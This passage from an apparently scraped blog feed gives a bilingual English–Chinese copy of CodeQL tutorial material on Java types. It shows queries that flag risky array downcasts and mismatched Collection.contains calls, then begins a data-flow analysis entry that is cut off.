rel="noopener">See this in the query console on LGTM.com</a>. Many projects return results for this query.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。许多项目都会返回此查询的结果。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/49u11er49ec/49u11er49ec.png" alt="image-20210324161149391"></p><p><img src="https://gitee.com/samny/images/raw/master/7u12er7ec/7u12er7ec.png" alt="image-20210324161207361"></p><p>Note that by casting <code>target.getElementType()</code> to a <code>RefType</code>, we eliminate all cases where the element type is a primitive type, that is, <code>target</code> is an array of primitive type: the problem we are looking for cannot arise in that case. Unlike in Java, a cast in QL never fails: if an expression cannot be cast to the desired type, it is simply excluded from the query results, which is exactly what we want.</p><blockquote><p>请注意，通过将 target.getElementType() 铸造为 RefType，我们消除了元素类型是基元类型的所有情况，即 target 是基元类型的数组：在这种情况下不能出现我们要找的问题。与Java中不同的是，QL中的转置永远不会失败：如果一个表达式不能被转置到所需的类型，它就会被排除在查询结果之外，这正是我们想要的。</p></blockquote><h3 id="Improvements"><a href="#Improvements" class="headerlink" title="Improvements"></a>Improvements</h3><p>Running this query on old Java code, before version 5, often returns many false positive results arising from uses of the method <code>Collection.toArray(T[])</code>, which converts a collection into an array of type <code>T[]</code>.</p><blockquote><p>在版本5之前的旧Java代码上运行这个查询，经常会返回许多假阳性结果，这是因为使用了Collection.toArray(T[])方法，该方法将一个集合转换为T[]类型的数组。</p></blockquote><p>In code that does not use generics, this method is often used in the following way:</p><blockquote><p>在不使用泛型的代码中，这个方法经常以如下方式使用:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">List l = new ArrayList();</span><br><span class="line">// add some elements of type A to l</span><br><span class="line">A[] as = (A[])l.toArray(new A[0]);</span><br></pre></td></tr></tbody></table></figure><p>Here, <code>l</code> has the raw type <code>List</code>, so <code>l.toArray</code> has return type <code>Object[]</code>, independent of the type of its argument array. Hence the cast goes from <code>Object[]</code> to <code>A[]</code> and will be flagged as problematic by our query, although at runtime this cast can never go wrong.</p><blockquote><p>这里，l具有原始类型List，所以l.toArray的返回类型是Object[]，与其参数数组的类型无关。因此，从Object[]到A[]的转码会被我们的查询标记为有问题，尽管在运行时这个转码永远不会出错。</p></blockquote><p>To identify these cases, we can create two CodeQL classes that represent, respectively, the <code>Collection.toArray</code> method, and calls to this method or any method that overrides it:</p><blockquote><p>为了识别这些情况，我们可以创建两个CodeQL类，分别代表Collection.toArray方法，以及对这个方法或任何覆盖它的方法的调用。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">/** class representing java.util.Collection.toArray(T[]) */</span><br><span class="line">/**代表java.util.Collection.toArray(T[])的类 */</span><br><span class="line"></span><br><span class="line">class CollectionToArray extends Method {</span><br><span class="line">    CollectionToArray() {</span><br><span class="line">        this.getDeclaringType().hasQualifiedName("java.util", "Collection") and</span><br><span class="line">        this.hasName("toArray") and</span><br><span class="line">        this.getNumberOfParameters() = 1</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">/** class representing calls to java.util.Collection.toArray(T[]) */</span><br><span class="line">/**代表对java.util.Collection.toArray(T[])的调用的类 ***</span><br><span class="line"></span><br><span class="line">class CollectionToArrayCall extends MethodAccess {</span><br><span class="line">    CollectionToArrayCall() {</span><br><span class="line">        exists(CollectionToArray m |</span><br><span class="line">            this.getMethod().getSourceDeclaration().overridesOrInstantiates*(m)</span><br><span class="line">        )</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    /** the call's actual return type, as determined from its argument */</span><br><span class="line">        /** 调用的实际返回类型，由其参数决定*/*。</span><br><span class="line"></span><br><span class="line">    Array getActualReturnType() {</span><br><span class="line">        result = this.getArgument(0).getType()</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Notice the use of <code>getSourceDeclaration</code> and <code>overridesOrInstantiates</code> in the constructor of <code>CollectionToArrayCall</code>: we want to find calls to <code>Collection.toArray</code> and to any method that overrides it, as well as any parameterized instances of these methods. In our example above, for instance, the call <code>l.toArray</code> resolves to method <code>toArray</code> in the raw class <code>ArrayList</code>. Its source declaration is <code>toArray</code> in the generic class <code>ArrayList&lt;T&gt;</code>, which overrides <code>AbstractCollection&lt;T&gt;.toArray</code>, which in turn overrides <code>Collection&lt;T&gt;.toArray</code>, which is an instantiation of <code>Collection.toArray</code> (since the type parameter <code>T</code> in the overridden method belongs to <code>ArrayList</code> and is an instantiation of the type parameter belonging to <code>Collection</code>).</p><blockquote><p>注意在CollectionToArrayCall的构造函数中使用了getSourceDeclaration和overridesOrInstantiates：我们要找到对Collection.toArray和任何覆盖它的方法的调用，以及这些方法的任何参数化实例。例如，在我们上面的例子中，调用l.toArray解析到原始类ArrayList中的方法toArray。它的源声明是通用类ArrayList<t>中的toArray，它覆盖了AbstractCollection<t>.toArray，而AbstractCollection<t>.toArray又覆盖了Collection<t>.toArray，它是Collection.toArray的一个实例化（因为覆盖方法中的类型参数T属于ArrayList，是属于Collection的类型参数的实例化）。</t></t></t></t></p></blockquote><p>Using these new classes we can extend our query to exclude calls to <code>toArray</code> on an argument of type <code>A[]</code> which are then cast to <code>A[]</code>:</p><blockquote><p>使用这些新的类，我们可以扩展我们的查询，以排除对A[]类型参数的toArray的调用，然后将其投向A[]:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">/** class representing java.util.Collection.toArray(T[]) */</span><br><span class="line">class CollectionToArray extends Method {</span><br><span class="line">    CollectionToArray() {</span><br><span class="line">        this.getDeclaringType().hasQualifiedName("java.util", "Collection") and</span><br><span class="line">        this.hasName("toArray") and</span><br><span class="line">        this.getNumberOfParameters() = 1</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">/** class representing calls to java.util.Collection.toArray(T[]) */</span><br><span class="line">class CollectionToArrayCall extends MethodAccess {</span><br><span class="line">    CollectionToArrayCall() {</span><br><span class="line">        exists(CollectionToArray m |</span><br><span class="line">            this.getMethod().getSourceDeclaration().overridesOrInstantiates*(m)</span><br><span class="line">        )</span><br><span class="line">    }</span><br><span class="line"></span><br><span class="line">    /** the call's actual return type, as determined from its argument */</span><br><span class="line">    Array getActualReturnType() {</span><br><span class="line">        result = this.getArgument(0).getType()</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from CastExpr ce, Array source, Array target</span><br><span class="line">where source = ce.getExpr().getType() and</span><br><span class="line">    target = ce.getType() and</span><br><span class="line">    target.getElementType().(RefType).getASupertype+() = source.getElementType() and</span><br><span class="line">    not ce.getExpr().(CollectionToArrayCall).getActualReturnType() = target</span><br><span class="line">select ce, "Potentially problematic array downcast."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/3150404889854131463/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. Notice that fewer results are found by this improved query.</p><blockquote><p>➤ 在LGTM.com的查询控制台中可以看到。请注意，通过这种改进的查询找到的结果较少。</p></blockquote><p><img src="/.io//C:%5CUsers%5CSamny%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20210324162027070.png" alt="image-20210324162027070"></p><p><img src="/.io//C:%5CUsers%5CSamny%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20210324162036681.png" alt="image-20210324162036681"></p><h2 id="Example-Finding-mismatched-contains-checks"><a href="#Example-Finding-mismatched-contains-checks" class="headerlink" title="Example: Finding mismatched contains checks"></a>Example: Finding mismatched contains checks</h2><p>We’ll now develop a query that finds uses of <code>Collection.contains</code> where the type of the queried element is unrelated to the element type of the collection, which guarantees that the test will always return <code>false</code>.</p><blockquote><p>现在我们将开发一个查询，找到Collection.contains的用法，其中被查询的元素类型与集合的元素类型无关，这就保证了测试将总是返回false。</p></blockquote><p>For example, <a href="https://zookeeper.apache.org/" target="_blank" rel="noopener">Apache Zookeeper</a> used to have a snippet of code similar to the following in class <code>QuorumPeerConfig</code>:</p><blockquote><p>例如，Apache Zookeeper曾经在类QuorumPeerConfig中，有一段类似于下面的代码:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Map&lt;Object, Object&gt; zkProp;</span><br><span class="line"></span><br><span class="line">// ...</span><br><span class="line"></span><br><span class="line">if (zkProp.entrySet().contains("dynamicConfigFile")){</span><br><span class="line">    // ...</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Since <code>zkProp</code> is a map from <code>Object</code> to <code>Object</code>, <code>zkProp.entrySet</code> returns a collection of type <code>Set&lt;Entry&lt;Object, Object&gt;&gt;</code>. Such a set cannot possibly contain an element of type <code>String</code>. (The code has since been fixed to use <code>zkProp.containsKey</code>.)</p><blockquote><p>由于zkProp是一个从Object到Object的映射，所以zkProp.entrySet返回一个类型为Set&lt;Entry&lt;Object，Object&gt;&gt;的集合。这样的集合不可能包含一个String类型的元素。(这段代码后来被修正为使用zkProp.containsKey)。</p></blockquote><p>In general, we want to find calls to <code>Collection.contains</code> (or any of its overriding methods in any parameterized instance of <code>Collection</code>), such that the type <code>E</code> of collection elements and the type <code>A</code> of the argument to <code>contains</code> are unrelated, that is, they have no common subtype.</p><blockquote><p>一般来说，我们希望找到对Collection.contains的调用（或者在Collection的任何参数化实例中找到它的任何覆盖方法），这样集合元素的类型E和contains参数的类型A是不相关的，也就是说，它们没有共同的子类型。</p></blockquote><p>We start by creating a class that describes <code>java.util.Collection</code>:</p><blockquote><p>我们先创建一个描述java.util.Collection的类:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">class JavaUtilCollection extends GenericInterface {</span><br><span class="line">    JavaUtilCollection() {</span><br><span class="line">        this.hasQualifiedName("java.util", "Collection")</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>To make sure we have not mistyped anything, we can run a simple test query:</p><blockquote><p>为了确保我们没有输入错误，我们可以运行一个简单的测试查询:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">from JavaUtilCollection juc</span><br><span class="line">select juc</span><br></pre></td></tr></tbody></table></figure><p>This query should return precisely one result.</p><blockquote><p>这个查询应该正好返回一个结果。</p></blockquote><p>Next, we can create a class that describes <code>java.util.Collection.contains</code>:</p><blockquote><p>接下来，我们可以创建一个描述java.util.Collection.contains的类。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">class JavaUtilCollectionContains extends Method {</span><br><span class="line">    JavaUtilCollectionContains() {</span><br><span class="line">        this.getDeclaringType() instanceof JavaUtilCollection and</span><br><span class="line">        this.hasStringSignature("contains(Object)")</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Notice that we use <code>hasStringSignature</code> to check that:</p><blockquote><p>注意，我们使用hasStringSignature来检查:</p></blockquote><ul><li>The method in question has name <code>contains</code>. 这个方法的名字<code>contains</code>..</li><li>It has exactly one argument.它正好有一个参数。</li><li>The type of the argument is <code>Object</code>.参数的类型是Object。</li></ul><p>Alternatively, we could have implemented these three checks more verbosely using <code>hasName</code>, <code>getNumberOfParameters</code>, and <code>getParameter(0).getType() instanceof TypeObject</code>.</p><blockquote><p>另外，我们还可以使用hasName、getNumberOfParameters和getParameter(0).getType()instanceofTypeObject更详细地实现这三个检查。</p></blockquote><p>As before, it is a good idea to test the new class by running a simple query to select all instances of <code>JavaUtilCollectionContains</code>; again there should only be a single result.</p><blockquote><p>和之前一样，通过运行一个简单的查询来选择JavaUtilCollectionContains的所有实例来测试新类是个好主意；同样应该只有一个结果。</p></blockquote><p>Now we want to identify all calls to <code>Collection.contains</code>, including any methods that override it, and considering all parameterized instances of <code>Collection</code> and its subclasses. That is, we are looking for method accesses where the source declaration of the invoked method (reflexively or transitively) overrides <code>Collection.contains</code>. We encode this in a CodeQL class <code>JavaUtilCollectionContainsCall</code>:</p><blockquote><p>现在我们要识别所有对Collection.contains的调用，包括任何覆盖它的方法，并考虑Collection及其子类的所有参数化实例。也就是说，我们要寻找被调用方法的源声明（反射性的或过渡性的）覆盖Collection.contains的方法访问。我们将其编码在一个CodeQL类JavaUtilCollectionContainsCall中:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">class JavaUtilCollectionContainsCall extends MethodAccess {</span><br><span class="line">    JavaUtilCollectionContainsCall() {</span><br><span class="line">        exists(JavaUtilCollectionContains jucc |</span><br><span class="line">            this.getMethod().getSourceDeclaration().overrides*(jucc)</span><br><span class="line">        )</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>This definition is slightly subtle, so you should run a short query to test that <code>JavaUtilCollectionContainsCall</code> correctly identifies calls to <code>Collection.contains</code>.</p><blockquote><p>这个定义略显微妙，所以你应该运行一个简短的查询来测试JavaUtilCollectionContainsCall是否能正确识别对Collection.contains的调用。</p></blockquote><p>For every call to <code>contains</code>, we are interested in two things: the type of the argument, and the element type of the collection on which it is invoked. So we need to add two member predicates <code>getArgumentType</code> and <code>getCollectionElementType</code> to class <code>JavaUtilCollectionContainsCall</code> to compute this information.\</p><blockquote><p>对于每一个对contains的调用，我们对两件事感兴趣：参数的类型，以及它被调用的集合的元素类型。所以我们需要在类JavaUtilCollectionContainsCall中添加两个成员谓词getArgumentType和getCollectionElementType来计算这些信息。</p></blockquote><p>The former is easy:</p><blockquote><p>前者很简单:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Type getArgumentType() {</span><br><span class="line">    result = this.getArgument(0).getType()</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>For the latter, we proceed as follows:</p><blockquote><p>对于后者，我们的操作如下:</p></blockquote><ul><li>Find the declaring type <code>D</code> of the <code>contains</code> method being invoked. 找到被调用的包含方法的声明类型D.</li><li>Find a (reflexive or transitive) super type <code>S</code> of <code>D</code> that is a parameterized instance of <code>java.util.Collection</code>.找到D的一个（反射型或转义型）超级类型S，它是java.util.Collection的参数化实例。</li><li>Return the (only) type argument of <code>S</code>.返回S的（唯一）类型参数。</li></ul><p>We encode this as follows:</p><blockquote><p>我们将其编码如下:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Type getCollectionElementType() {</span><br><span class="line">    exists(RefType D, ParameterizedInterface S |</span><br><span class="line">        D = this.getMethod().getDeclaringType() and</span><br><span class="line">        D.hasSupertype*(S) and S.getSourceDeclaration() instanceof JavaUtilCollection and</span><br><span class="line">        result = S.getTypeArgument(0)</span><br><span class="line">    )</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Having added these two member predicates to <code>JavaUtilCollectionContainsCall</code>, we need to write a predicate that checks whether two given reference types have a common subtype:</p><blockquote><p>在给JavaUtilCollectionContainsCall添加了这两个成员谓词后，我们需要写一个谓词来检查两个给定的引用类型是否有共同的子类型:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">predicate haveCommonDescendant(RefType tp1, RefType tp2) {</span><br><span class="line">    exists(RefType commondesc | commondesc.hasSupertype*(tp1) and commondesc.hasSupertype*(tp2))</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Now we are ready to write a first version of our query:</p><blockquote><p>现在我们准备好写第一个版本的查询:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">class JavaUtilCollection extends GenericInterface {</span><br><span class="line">    JavaUtilCollection() {</span><br><span class="line">        this.hasQualifiedName("java.util", "Collection")</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class JavaUtilCollectionContains extends Method {</span><br><span class="line">    JavaUtilCollectionContains() {</span><br><span class="line">        this.getDeclaringType() instanceof JavaUtilCollection and</span><br><span class="line">        this.hasStringSignature("contains(Object)")</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class JavaUtilCollectionContainsCall extends MethodAccess {</span><br><span class="line">    JavaUtilCollectionContainsCall() {</span><br><span class="line">        exists(JavaUtilCollectionContains jucc |</span><br><span class="line">            this.getMethod().getSourceDeclaration().overrides*(jucc)</span><br><span class="line">        )</span><br><span class="line">    }</span><br><span class="line">   Type getArgumentType() {</span><br><span class="line">    result = this.getArgument(0).getType()</span><br><span class="line">    }</span><br><span class="line">    Type getCollectionElementType() {</span><br><span class="line">    exists(RefType D, ParameterizedInterface S |</span><br><span class="line">        D = this.getMethod().getDeclaringType() and</span><br><span class="line">        D.hasSupertype*(S) and S.getSourceDeclaration() instanceof JavaUtilCollection and</span><br><span class="line">        result = S.getTypeArgument(0)</span><br><span class="line">    )</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">predicate haveCommonDescendant(RefType tp1, RefType tp2) {</span><br><span class="line">    exists(RefType commondesc | commondesc.hasSupertype*(tp1) and commondesc.hasSupertype*(tp2))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from JavaUtilCollectionContainsCall juccc, Type collEltType, Type argType</span><br><span class="line">where collEltType = juccc.getCollectionElementType() and argType = juccc.getArgumentType() and</span><br><span class="line">    not haveCommonDescendant(collEltType, argType)</span><br><span class="line">select juccc, "Element type " + collEltType + " is incompatible with argument type " + argType</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/7947831380785106258/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>.</p><blockquote><p>➤ 在LGTM.com的查询控制台中查看。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/20u21er20ec/20u21er20ec.png" alt="image-20210324162120571"></p><p><img src="https://gitee.com/samny/images/raw/master/38u21er38ec/38u21er38ec.png" alt="image-20210324162138891"></p><p><img src="https://gitee.com/samny/images/raw/master/57u21er57ec/57u21er57ec.png" alt="image-20210324162156970"></p><h3 id="Improvements-1"><a href="#Improvements-1" class="headerlink" title="Improvements"></a>Improvements</h3><p>For many programs, this query yields a large number of false positive results due to type variables and wild cards: if the collection element type is some type variable <code>E</code> and the argument type is <code>String</code>, for example, CodeQL will consider that the two have no common subtype, and our query will flag the call. An easy way to exclude such false positive results is to simply require that neither <code>collEltType</code> nor <code>argType</code> are instances of <code>TypeVariable</code>.</p><blockquote><p>对于很多程序来说，由于类型变量和通配符的原因，这个查询会产生大量的假阳性结果：例如，如果集合元素类型是某个类型变量E，而参数类型是String，CodeQL会认为两者没有共同的子类型，我们的查询就会标记调用。排除这种假阳性结果的一个简单方法是简单地要求 collEltType 和 argType 都不是 TypeVariable 的实例。</p></blockquote><p>Another source of false positives is autoboxing of primitive types: if, for example, the collection’s element type is <code>Integer</code> and the argument is of type <code>int</code>, predicate <code>haveCommonDescendant</code> will fail, since <code>int</code> is not a <code>RefType</code>. To account for this, our query should check that <code>collEltType</code> is not the boxed type of <code>argType</code>.</p><blockquote><p>另一个误报的来源是基元类型的自动装箱：例如，如果集合的元素类型是Integer，而参数的类型是int，那么谓词haveCommonDescendant将失败，因为int不是RefType。为了说明这一点，我们的查询应该检查 collEltType 不是 argType 的框定类型。</p></blockquote><p>Finally, <code>null</code> is special because its type (known as <code>&lt;nulltype&gt;</code> in the CodeQL library) is compatible with every reference type, so we should exclude it from consideration.</p><blockquote><p>最后，null是特殊的，因为它的类型（在CodeQL库中称为<nulltype>）与每个引用类型都是兼容的，所以我们应该把它排除在考虑范围之外。</nulltype></p></blockquote><p>Adding these three improvements, our final query becomes:</p><blockquote><p>加上这三项改进，我们的最终查询就变成了。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">class JavaUtilCollection extends GenericInterface {</span><br><span class="line">    JavaUtilCollection() {</span><br><span class="line">        this.hasQualifiedName("java.util", "Collection")</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class JavaUtilCollectionContains extends Method {</span><br><span class="line">    JavaUtilCollectionContains() {</span><br><span class="line">        this.getDeclaringType() instanceof JavaUtilCollection and</span><br><span class="line">        this.hasStringSignature("contains(Object)")</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class JavaUtilCollectionContainsCall extends MethodAccess {</span><br><span class="line">    JavaUtilCollectionContainsCall() {</span><br><span class="line">        exists(JavaUtilCollectionContains jucc |</span><br><span class="line">            this.getMethod().getSourceDeclaration().overrides*(jucc)</span><br><span class="line">        )</span><br><span class="line">    }</span><br><span class="line">   Type getArgumentType() {</span><br><span class="line">    result = this.getArgument(0).getType()</span><br><span class="line">    }</span><br><span class="line">    Type getCollectionElementType() {</span><br><span class="line">    exists(RefType D, ParameterizedInterface S |</span><br><span class="line">        D = this.getMethod().getDeclaringType() and</span><br><span class="line">        D.hasSupertype*(S) and S.getSourceDeclaration() instanceof JavaUtilCollection and</span><br><span class="line">        result = S.getTypeArgument(0)</span><br><span class="line">    )</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">predicate haveCommonDescendant(RefType tp1, RefType tp2) {</span><br><span class="line">    exists(RefType commondesc | commondesc.hasSupertype*(tp1) and commondesc.hasSupertype*(tp2))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from JavaUtilCollectionContainsCall juccc, Type collEltType, Type argType</span><br><span class="line">where collEltType = juccc.getCollectionElementType() and argType = juccc.getArgumentType() and</span><br><span class="line">    not haveCommonDescendant(collEltType, argType) and</span><br><span class="line">    not collEltType instanceof TypeVariable and not argType instanceof TypeVariable and</span><br><span class="line">    not collEltType = argType.(PrimitiveType).getBoxedType() and</span><br><span class="line">    not argType.hasName("&lt;nulltype&gt;")</span><br><span class="line">select juccc, "Element type " + collEltType + " is incompatible with argument type " + argType</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/8846334903769538099/" target="_blank" rel="noopener">See the full query in the query console on LGTM.com</a>.</p><blockquote><p>➤ 在LGTM.com的查询控制台中查看完整的查询。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/41u44er41ec/41u44er41ec.png" alt="image-20210324164441442"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Types-in-Java¶&quot;&gt;&lt;a href=&quot;#Types-in-Java¶&quot; class=&quot;headerlink&quot; title=&quot;Types in Java¶&quot;&gt;&lt;/a&gt;Types in Java&lt;a href=&quot;https://codeql.github.
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>Analyzing data flow in Java</title>
    <link href="https://summersec.github.io/2021/03/23/Analyzing%20data%20flow%20in%20Java/"/>
    <id>https://summersec.github.io/2021/03/23/Analyzing%20data%20flow%20in%20Java/</id>
    <published>2021-03-23T11:01:42.000Z</published>
    <updated>2021-03-22T13:44:09.082Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Analyzing-data-flow-in-Java¶"><a href="#Analyzing-data-flow-in-Java¶" class="headerlink" title="Analyzing data flow in Java¶"></a>Analyzing data flow in Java<a href="https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-java/#analyzing-data-flow-in-java" target="_blank" rel="noopener">¶</a></h1><p>You can use CodeQL to track the flow of data through a Java program to its use.</p><blockquote><p>你可以使用CodeQL来跟踪数据流通过Java程序的使用情况。</p></blockquote><h2 id="About-this-article"><a href="#About-this-article" class="headerlink" title="About this article"></a>About this article</h2><p>This article describes how data flow analysis is implemented in the CodeQL libraries for Java and includes examples to help you write your own data flow queries. The following sections describe how to use the libraries for local data flow, global data flow, and taint tracking.</p><blockquote><p>本文介绍了如何在Java的CodeQL库中实现数据流分析，并包含了一些例子来帮助你编写自己的数据流查询。下面的章节描述了如何使用这些库进行本地数据流、全局数据流和污点跟踪。</p></blockquote><p>For a more general introduction to modeling data flow, see “<a href="https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/#about-data-flow-analysis" target="_blank" rel="noopener">About data flow analysis</a>.”</p><blockquote><p>有关数据流建模的更一般介绍，请参见 “关于数据流分析”。</p></blockquote><h2 id="Local-data-flow"><a href="#Local-data-flow" class="headerlink" title="Local data flow"></a>Local data flow</h2><p>Local data flow is data flow within a single method or callable. Local data flow is usually easier, faster, and more precise than global data flow, and is sufficient for many queries.</p><blockquote><p>本地数据流是指单个方法或可调用内的数据流。本地数据流通常比全局数据流更简单、更快速、更精确，对于很多查询来说已经足够了。</p></blockquote><h3 id="Using-local-data-flow"><a href="#Using-local-data-flow" class="headerlink" title="Using local data flow"></a>Using local data flow</h3><p>The local data flow library is in the module <code>DataFlow</code>, which defines the class <code>Node</code> denoting any element that data can flow through. <code>Node</code>s are divided into expression nodes (<code>ExprNode</code>) and parameter nodes (<code>ParameterNode</code>). You can map between data flow nodes and expressions/parameters using the member predicates <code>asExpr</code> and <code>asParameter</code>:</p><blockquote><p>本地数据流库在模块DataFlow中，它定义了类Node，表示数据可以流经的任何元素。节点分为表达式节点（ExprNode）和参数节点（ParameterNode）。您可以使用成员谓词asExpr和asParameter在数据流节点和表达式/参数之间进行映射:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 